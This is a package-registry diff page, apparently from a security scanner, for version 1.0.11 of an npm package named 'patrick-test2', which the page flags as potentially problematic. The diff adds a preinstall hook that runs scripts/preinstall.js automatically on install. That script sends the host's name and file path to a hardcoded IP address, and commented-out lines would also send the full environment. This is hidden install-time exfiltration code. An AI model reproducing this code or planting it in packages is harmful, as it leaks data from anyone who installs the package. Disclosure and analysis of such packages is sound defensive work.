patrick-test2 1.0.11
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of patrick-test2 might be problematic. Click here for more details.
- package/package.json +20 -0
- package/scripts/preinstall.js +36 -0
package/package.json
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
{
|
2
|
+
"name": "patrick-test2",
|
3
|
+
"version": "1.0.11",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "jest",
|
7
|
+
"preinstall": "node --max-http-header-size 30000 scripts/preinstall.js"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "git+https://github.com/pputman12/test-nodejs.git"
|
12
|
+
},
|
13
|
+
"keywords": [
|
14
|
+
"plugin"
|
15
|
+
],
|
16
|
+
"devDependencies": {
|
17
|
+
"jest": "^24.9.0",
|
18
|
+
"solhint": "^3.3.0"
|
19
|
+
}
|
20
|
+
}
|
@@ -0,0 +1,36 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
const querystring = require('querystring');
|
3
|
+
|
4
|
+
var os = require("os");
|
5
|
+
var hostname = os.hostname();
|
6
|
+
//var environment = JSON.stringify(process.env)
|
7
|
+
|
8
|
+
var fs = require('fs');
|
9
|
+
|
10
|
+
|
11
|
+
// GET parameters
|
12
|
+
const parameters = {
|
13
|
+
filename: __filename,
|
14
|
+
hostname: hostname,
|
15
|
+
// all: environment
|
16
|
+
}
|
17
|
+
|
18
|
+
const get_request_args = querystring.stringify(parameters);
|
19
|
+
|
20
|
+
|
21
|
+
const options = {
|
22
|
+
hostname: '35.192.198.159',
|
23
|
+
port: 443,
|
24
|
+
path: '/' + get_request_args,
|
25
|
+
method: 'GET',
|
26
|
+
};
|
27
|
+
|
28
|
+
const req = http.request(options, res => {
|
29
|
+
|
30
|
+
res.on('data', d => {
|
31
|
+
process.stdout.write(d);
|
32
|
+
});
|
33
|
+
});
|
34
|
+
|
35
|
+
req.end();
|
36
|
+
|